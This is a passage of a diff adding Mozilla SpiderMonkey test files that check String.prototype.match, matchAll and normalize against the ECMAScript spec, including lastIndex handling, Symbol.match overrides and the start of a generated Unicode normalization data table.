+AddGlobalRegExpCases( /([\d]{5})([-\ ]?[\d]{4})?$/g,
+ "/([\d]{5})([-\ ]?[\d]{4})?$/g",
+ "Boston, Mass. 02134",
+ ["02134"]);
+
+// set the value of lastIndex
+re = /([\d]{5})([-\ ]?[\d]{4})?$/;
+re.lastIndex = 0;
+
+s = "Boston, MA 02134";
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex =0",
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined]);
+
+
+re.lastIndex = s.length;
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+ s.length,
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined] );
+
+re.lastIndex = s.lastIndexOf("0");
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+ s.lastIndexOf("0"),
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined]);
+
+re.lastIndex = s.lastIndexOf("0") + 1;
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+ s.lastIndexOf("0") +1,
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined]);
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, string, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ string + ".match(" + regexp +")",
+ matches_array,
+ string.match(regexp) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").index",
+ index,
+ string.match(regexp).index );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").input",
+ string,
+ string.match(regexp).input );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + string +")",
+ matches_array,
+ regexp.exec(string) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/String/match-003.js b/js/src/tests/non262/String/match-003.js
new file mode 100644
index 0000000000..f22b02e108
--- /dev/null
+++ b/js/src/tests/non262/String/match-003.js
@@ -0,0 +1,130 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-003.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ */
+
+var SECTION = "String/match-003.js";
+var TITLE = "String.prototype.match( regexp )";
+
+
+// the regexp argument is not a RegExp object
+// this is not a string object
+
+
+// [if regexp.global is true] set the regexp.lastIndex property to 0 and
+// invoke RegExp.prototype.exec repeatedly until there is no match. If
+// there is a match with an empty string (in other words, if the value of
+// regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+// The value returned is an array with the properties 0 through n-1
+// corresponding to the first element of the result of each matching invocation
+// of RegExp.prototype.exec.
+
+
+// set the value of lastIndex
+re = /([\d]{5})([-\ ]?[\d]{4})?$/g;
+
+
+s = "Boston, MA 02134";
+
+AddGlobalRegExpCases( re,
+ "re = " + re,
+ s,
+ ["02134" ]);
+
+re.lastIndex = 0;
+
+AddGlobalRegExpCases(
+ re,
+ "re = " + re + "; re.lastIndex = 0 ",
+ s,
+ ["02134"]);
+
+
+re.lastIndex = s.length;
+
+AddGlobalRegExpCases(
+ re,
+ "re = " + re + "; re.lastIndex = " + s.length,
+ s,
+ ["02134"] );
+
+re.lastIndex = s.lastIndexOf("0");
+
+AddGlobalRegExpCases(
+ re,
+ "re = "+ re +"; re.lastIndex = " + s.lastIndexOf("0"),
+ s,
+ ["02134"]);
+
+re.lastIndex = s.lastIndexOf("0") + 1;
+
+AddGlobalRegExpCases(
+ re,
+ "re = " +re+ "; re.lastIndex = " + (s.lastIndexOf("0") +1),
+ s,
+ ["02134"]);
+
+test();
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( string.match(regexp) == null || matches_array == null ) {
+ AddTestCase(
+ string + ".match(" + str_regexp +")",
+ matches_array,
+ string.match(regexp) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/String/match-004.js b/js/src/tests/non262/String/match-004.js
new file mode 100644
index 0000000000..43fb45e8a9
--- /dev/null
+++ b/js/src/tests/non262/String/match-004.js
@@ -0,0 +1,172 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-004.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ *
+ *
+ * The match function should be intentionally generic, and not require
+ * this to be a string.
+ *
+ */
+
+var SECTION = "String/match-004.js";
+var TITLE = "String.prototype.match( regexp )";
+
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=345818";
+
+printBugNumber(BUGNUMBER);
+
+// set the value of lastIndex
+re = /0./;
+s = 10203040506070809000;
+
+Number.prototype.match = String.prototype.match;
+
+AddRegExpCases( re,
+ "re = " + re ,
+ s,
+ String(s),
+ 1,
+ ["02"]);
+
+
+re.lastIndex = 0;
+AddRegExpCases( re,
+ "re = " + re +" [lastIndex is " + re.lastIndex+"]",
+ s,
+ String(s),
+ 1,
+ ["02"]);
+/*
+
+re.lastIndex = s.length;
+
+AddRegExpCases( re,
+"re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+s.length,
+s,
+s.lastIndexOf("0"),
+null );
+
+re.lastIndex = s.lastIndexOf("0");
+
+AddRegExpCases( re,
+"re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+s.lastIndexOf("0"),
+s,
+s.lastIndexOf("0"),
+["02134"]);
+
+re.lastIndex = s.lastIndexOf("0") + 1;
+
+AddRegExpCases( re,
+"re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+s.lastIndexOf("0") +1,
+s,
+0,
+null);
+*/
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, string, str_string, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ string + ".match(" + regexp +")",
+ matches_array,
+ string.match(regexp) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").index",
+ index,
+ string.match(regexp).index );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").input",
+ str_string,
+ string.match(regexp).input );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + string +")",
+ matches_array,
+ regexp.exec(string) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/String/match-GetMethod.js b/js/src/tests/non262/String/match-GetMethod.js
new file mode 100644
index 0000000000..85a9822d8f
--- /dev/null
+++ b/js/src/tests/non262/String/match-GetMethod.js
@@ -0,0 +1,29 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.match should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.match]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+var expected = ["-"];
+expected.index = 1;
+expected.input = "a-a";
+expected.groups = undefined;
+
+for (let v of [null, undefined]) {
+ assertDeepEq("a-a".match(create(v)), expected);
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".match(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/match-defines-match-elements.js b/js/src/tests/non262/String/match-defines-match-elements.js
new file mode 100644
index 0000000000..e1a38e30c8
--- /dev/null
+++ b/js/src/tests/non262/String/match-defines-match-elements.js
@@ -0,0 +1,47 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 677820;
+var summary =
+ "String.prototype.match must define matches on the returned array, not set " +
+ "them";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called = false;
+function setterFunction(v) { called = true; }
+function getterFunction(v) { return "getter"; }
+
+Object.defineProperty(Array.prototype, 1,
+ { get: getterFunction, set: setterFunction });
+
+assertEq(called, false);
+var matches = "abcdef".match(/./g);
+assertEq(called, false);
+assertEq(matches.length, 6);
+assertEq(matches[0], "a");
+assertEq(matches[1], "b");
+assertEq(matches[2], "c");
+assertEq(matches[3], "d");
+assertEq(matches[4], "e");
+assertEq(matches[5], "f");
+
+var desc = Object.getOwnPropertyDescriptor(Array.prototype, 1);
+assertEq(desc.get, getterFunction);
+assertEq(desc.set, setterFunction);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq([][1], "getter");
+
+assertEq(called, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/match-forward-lookahead.js b/js/src/tests/non262/String/match-forward-lookahead.js
new file mode 100644
index 0000000000..6097b66044
--- /dev/null
+++ b/js/src/tests/non262/String/match-forward-lookahead.js
@@ -0,0 +1,27 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.match behavior with zero-length matches involving " +
+ "forward lookahead";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var r = /(?=x)/g;
+
+var res = "aaaaaaaaaxaaaaaaaaax".match(r);
+assertEq(res.length, 2);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/match-throws-nonwritable-lastIndex-global.js b/js/src/tests/non262/String/match-throws-nonwritable-lastIndex-global.js
new file mode 100644
index 0000000000..b36916d4c5
--- /dev/null
+++ b/js/src/tests/non262/String/match-throws-nonwritable-lastIndex-global.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.match should throw when called with a global RegExp " +
+ "whose .lastIndex is non-writable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+
+// First time with .lastIndex === 0
+
+var p1 = /x/g;
+Object.defineProperty(p1, "lastIndex", { writable: false });
+
+try
+{
+ s.match(p1);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+// Second time with .lastIndex !== 0
+
+var p2 = /x/g;
+Object.defineProperty(p2, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.match(p2);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+// Third time with .lastIndex === 0, no matches
+
+var p3 = /q/g;
+Object.defineProperty(p3, "lastIndex", { writable: false });
+
+try
+{
+ s.match(p3);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+// Fourth time with .lastIndex !== 0, no matches
+
+var p4 = /q/g;
+Object.defineProperty(p4, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.match(p4);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/match-updates-global-lastIndex.js b/js/src/tests/non262/String/match-updates-global-lastIndex.js
new file mode 100644
index 0000000000..cc18219ac3
--- /dev/null
+++ b/js/src/tests/non262/String/match-updates-global-lastIndex.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.match should zero the .lastIndex when called with a " +
+ "global RegExp";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+var p = /x/g;
+p.lastIndex = 3;
+
+var arr = s.match(p);
+assertEq(arr.length, 4);
+arr.forEach(function(v) { assertEq(v, "x"); });
+assertEq(p.lastIndex, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/match.js b/js/src/tests/non262/String/match.js
new file mode 100644
index 0000000000..b9b0d27a67
--- /dev/null
+++ b/js/src/tests/non262/String/match.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@match] from String.prototype.match.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.match](S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 42;
+ }
+};
+assertEq("abcAbcABC".match(myRegExp), 42);
+assertEq(called, 1);
+
+var origMatch = RegExp.prototype[Symbol.match];
+
+called = 0;
+RegExp.prototype[Symbol.match] = function(S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 43;
+};
+assertEq("abcAbcABC".match("abc"), 43);
+assertEq(called, 1);
+
+RegExp.prototype[Symbol.match] = origMatch;
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/matchAll.js b/js/src/tests/non262/String/matchAll.js
new file mode 100644
index 0000000000..2752d8b688
--- /dev/null
+++ b/js/src/tests/non262/String/matchAll.js
@@ -0,0 +1,288 @@
+// Basic surface tests.
+
+assertEq(typeof String.prototype.matchAll, "function");
+assertEq(String.prototype.matchAll.name, "matchAll");
+assertEq(String.prototype.matchAll.length, 1);
+
+assertEq(typeof Symbol.matchAll, "symbol");
+
+assertEq(typeof RegExp.prototype[Symbol.matchAll], "function");
+assertEq(RegExp.prototype[Symbol.matchAll].name, "[Symbol.matchAll]");
+assertEq(RegExp.prototype[Symbol.matchAll].length, 1);
+
+const IteratorPrototype = Object.getPrototypeOf(Object.getPrototypeOf([][Symbol.iterator]()));
+const RegExpStringIteratorPrototype = Object.getPrototypeOf("".matchAll(""));
+
+assertEq(Object.getPrototypeOf(RegExpStringIteratorPrototype), IteratorPrototype);
+
+assertEq(typeof RegExpStringIteratorPrototype.next, "function");
+assertEq(RegExpStringIteratorPrototype.next.name, "next");
+assertEq(RegExpStringIteratorPrototype.next.length, 0);
+
+assertEq(RegExpStringIteratorPrototype[Symbol.toStringTag], "RegExp String Iterator");
+
+
+// Basic functional tests.
+
+const RegExp_prototype_exec = RegExp.prototype.exec;
+const RegExp_prototype_match = RegExp.prototype[Symbol.match];
+
+function assertEqIterMatchResult(actual, expected) {
+ assertEq(actual.done, expected.done);
+ if (actual.value === undefined || expected.value === undefined) {
+ assertEq(actual.value, expected.value);
+ } else {
+ assertEqArray(actual.value, expected.value);
+ assertEq(actual.value.input, expected.value.input);
+ assertEq(actual.value.index, expected.value.index);
+ }
+}
+
+function assertEqMatchResults(actual, expected) {
+ var actualIter = actual[Symbol.iterator]();
+ var expectedIter = expected[Symbol.iterator]();
+ while (true) {
+ var actualResult = actualIter.next();
+ var expectedResult = expectedIter.next();
+ assertEqIterMatchResult(actualResult, expectedResult);
+ if (actualResult.done && expectedResult.done)
+ return;
+ }
+}
+
+function* matchResults(string, regexp, lastIndex = 0) {
+ regexp.lastIndex = lastIndex;
+ while (true) {
+ var match = Reflect.apply(RegExp_prototype_exec, regexp, [string]);
+ if (match === null)
+ return;
+ yield match;
+ if (!regexp.global)
+ return;
+ }
+}
+
+assertEqMatchResults(/a/[Symbol.matchAll]("ababcca"), matchResults("ababcca", /a/));
+assertEqMatchResults("ababcca".matchAll(/a/g), matchResults("ababcca", /a/g));
+assertEqMatchResults("ababcca".matchAll("a"), matchResults("ababcca", /a/g));
+
+
+// Cross-compartment tests.
+
+{
+ let otherGlobal = newGlobal();
+
+ let iterator = otherGlobal.eval(`"ababcca".matchAll(/a/g)`);
+ let expected = matchResults("ababcca", /a/g);
+
+ assertEqIterMatchResult(RegExpStringIteratorPrototype.next.call(iterator),
+ expected.next());
+}
+
+
+// Optimization tests.
+//
+// The optimized path for MatchAllIterator reuses the input RegExp to avoid
+// extra RegExp allocations. To make this optimization undetectable from
+// user code, we need to ensure that:
+// 1. Modifications to the input RegExp through RegExp.prototype.compile are
+// detected and properly handled (= ignored).
+// 2. The RegExpStringIterator doesn't modify the input RegExp, for example
+// by updating the lastIndex property.
+// 3. Guards against modifications of built-in RegExp.prototype are installed.
+
+// Recompile RegExp (source) before first match.
+{
+ let regexp = /a+/g;
+ let iterator = "aabb".matchAll(regexp);
+
+ regexp.compile("b+", "g");
+ assertEqMatchResults(iterator, matchResults("aabb", /a+/g));
+}
+
+// Recompile RegExp (flags) before first match.
+{
+ let regexp = /a+/gi;
+ let iterator = "aAbb".matchAll(regexp);
+
+ regexp.compile("a+", "");
+ assertEqMatchResults(iterator, matchResults("aAbb", /a+/gi));
+}
+
+// Recompile RegExp (source) after first match.
+{
+ let regexp = /a+/g;
+ let iterator = "aabbaa".matchAll(regexp);
+ let expected = matchResults("aabbaa", /a+/g);
+
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ regexp.compile("b+", "g");
+ assertEqIterMatchResult(iterator.next(), expected.next());
+}
+
+// Recompile RegExp (flags) after first match.
+{
+ let regexp = /a+/g;
+ let iterator = "aabbAA".matchAll(regexp);
+ let expected = matchResults("aabbAA", /a+/g);
+
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ regexp.compile("a+", "i");
+ assertEqIterMatchResult(iterator.next(), expected.next());
+}
+
+// lastIndex property of input RegExp not modified when optimized path used.
+{
+ let regexp = /a+/g;
+ regexp.lastIndex = 1;
+ let iterator = "aabbaa".matchAll(regexp);
+ let expected = matchResults("aabbaa", /a+/g, 1);
+
+ assertEq(regexp.lastIndex, 1);
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ assertEq(regexp.lastIndex, 1);
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ assertEq(regexp.lastIndex, 1);
+}
+
+// Modifications to lastIndex property of input RegExp ignored when optimized path used.
+{
+ let regexp = /a+/g;
+ let iterator = "aabbaa".matchAll(regexp);
+ regexp.lastIndex = 1;
+ let expected = matchResults("aabbaa", /a+/g);
+
+ assertEq(regexp.lastIndex, 1);
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ assertEq(regexp.lastIndex, 1);
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ assertEq(regexp.lastIndex, 1);
+}
+
+// RegExp.prototype[Symbol.match] is modified to a getter, ensure this getter
+// is called exactly twice.
+try {
+ let regexp = /a+/g;
+
+ let callCount = 0;
+ Object.defineProperty(RegExp.prototype, Symbol.match, {
+ get() {
+ assertEq(this, regexp);
+ callCount++;
+ return RegExp_prototype_match;
+ }
+ });
+ let iterator = "aabbaa".matchAll(regexp);
+ assertEq(callCount, 2);
+} finally {
+ // Restore optimizable RegExp.prototype shape.
+ Object.defineProperty(RegExp.prototype, Symbol.match, {
+ value: RegExp_prototype_match,
+ writable: true, enumerable: false, configurable: true
+ });
+}
+
+// RegExp.prototype.exec is changed to a getter.
+try {
+ let regexp = /a+/g;
+ let iterator = "aabbaa".matchAll(regexp);
+ let lastIndices = [0, 2, 6][Symbol.iterator]();
+
+ let iteratorRegExp = null;
+ let callCount = 0;
+ Object.defineProperty(RegExp.prototype, "exec", {
+ get() {
+ callCount++;
+
+ if (iteratorRegExp === null)
+ iteratorRegExp = this;
+
+ assertEq(this === regexp, false);
+ assertEq(this, iteratorRegExp);
+ assertEq(this.source, regexp.source);
+ assertEq(this.flags, regexp.flags);
+ assertEq(this.lastIndex, lastIndices.next().value);
+ return RegExp_prototype_exec;
+ }
+ });
+
+ assertEqMatchResults(iterator, matchResults("aabbaa", /a+/g));
+ assertEq(callCount, 3);
+} finally {
+ // Restore optimizable RegExp.prototype shape.
+ Object.defineProperty(RegExp.prototype, "exec", {
+ value: RegExp_prototype_exec,
+ writable: true, enumerable: false, configurable: true
+ });
+}
+
+// RegExp.prototype.exec is changed to a value property.
+try {
+ let regexp = /a+/g;
+ let iterator = "aabbaa".matchAll(regexp);
+ let lastIndices = [0, 2, 6][Symbol.iterator]();
+
+ let iteratorRegExp = null;
+ let callCount = 0;
+ RegExp.prototype.exec = function(...args) {
+ callCount++;
+
+ if (iteratorRegExp === null)
+ iteratorRegExp = this;
+
+ assertEq(this === regexp, false);
+ assertEq(this, iteratorRegExp);
+ assertEq(this.source, regexp.source);
+ assertEq(this.flags, regexp.flags);
+ assertEq(this.lastIndex, lastIndices.next().value);
+ return Reflect.apply(RegExp_prototype_exec, this, args);
+ };
+
+ assertEqMatchResults(iterator, matchResults("aabbaa", /a+/g));
+ assertEq(callCount, 3);
+} finally {
+ // Restore optimizable RegExp.prototype shape.
+ Object.defineProperty(RegExp.prototype, "exec", {
+ value: RegExp_prototype_exec,
+ writable: true, enumerable: false, configurable: true
+ });
+}
+
+// Initial 'lastIndex' is zero if the RegExp is neither global nor sticky (1).
+{
+ let regexp = /a+/;
+ regexp.lastIndex = 2;
+
+ let iterator = regexp[Symbol.matchAll]("aaaaa");
+ assertEqMatchResults(iterator, matchResults("aaaaa", /a+/g, 0));
+}
+
+// Initial 'lastIndex' is zero if the RegExp is neither global nor sticky (2).
+{
+ let regexp = /a+/g;
+ regexp.lastIndex = 2;
+
+ let iterator = regexp[Symbol.matchAll]("aaaaa");
+ assertEqMatchResults(iterator, matchResults("aaaaa", /a+/g, 2));
+}
+
+// Initial 'lastIndex' is zero if the RegExp is neither global nor sticky (3).
+{
+ let regexp = /a+/y;
+ regexp.lastIndex = 2;
+
+ let iterator = regexp[Symbol.matchAll]("aaaaa");
+ assertEqMatchResults(iterator, matchResults("aaaaa", /a+/g, 2));
+}
+
+//Initial 'lastIndex' is zero if the RegExp is neither global nor sticky (4).
+{
+ let regexp = /a+/gy;
+ regexp.lastIndex = 2;
+
+ let iterator = regexp[Symbol.matchAll]("aaaaa");
+ assertEqMatchResults(iterator, matchResults("aaaaa", /a+/g, 2));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-form-non-atom.js b/js/src/tests/non262/String/normalize-form-non-atom.js
new file mode 100644
index 0000000000..ee6e12c37f
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-form-non-atom.js
@@ -0,0 +1,18 @@
+var BUGNUMBER = 1145326;
+var summary = 'String.prototype.normalize error when normalization form parameter is not an atom';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ assertEq("abc".normalize("NFKC".split("").join("")), "abc");
+ assertEq("abc".normalize("NFKCabc".replace("abc", "")), "abc");
+ assertEq("abc".normalize("N" + "F" + "K" + "C"), "abc");
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-input.js b/js/src/tests/non262/String/normalize-generateddata-input.js
new file mode 100644
index 0000000000..373f10d316
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-input.js
@@ -0,0 +1,18866 @@
+/* created from NormalizationTest-13.0.0.txt */
+/* Part0 # Specific cases */
+var tests_part0 = [
+{ source: [0x1E0A], NFC: [0x1E0A], NFD: [0x0044, 0x0307], NFKC: [0x1E0A], NFKD: [0x0044, 0x0307] },
+{ source: [0x1E0C], NFC: [0x1E0C], NFD: [0x0044, 0x0323], NFKC: [0x1E0C], NFKD: [0x0044, 0x0323] },
+{ source: [0x1E0A, 0x0323], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x1E0C, 0x0307], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x0044, 0x0307, 0x0323], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x0044, 0x0323, 0x0307], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x1E0A, 0x031B], NFC: [0x1E0A, 0x031B], NFD: [0x0044, 0x031B, 0x0307], NFKC: [0x1E0A, 0x031B], NFKD: [0x0044, 0x031B, 0x0307] },
+{ source: [0x1E0C, 0x031B], NFC: [0x1E0C, 0x031B], NFD: [0x0044, 0x031B, 0x0323], NFKC: [0x1E0C, 0x031B], NFKD: [0x0044, 0x031B, 0x0323] },
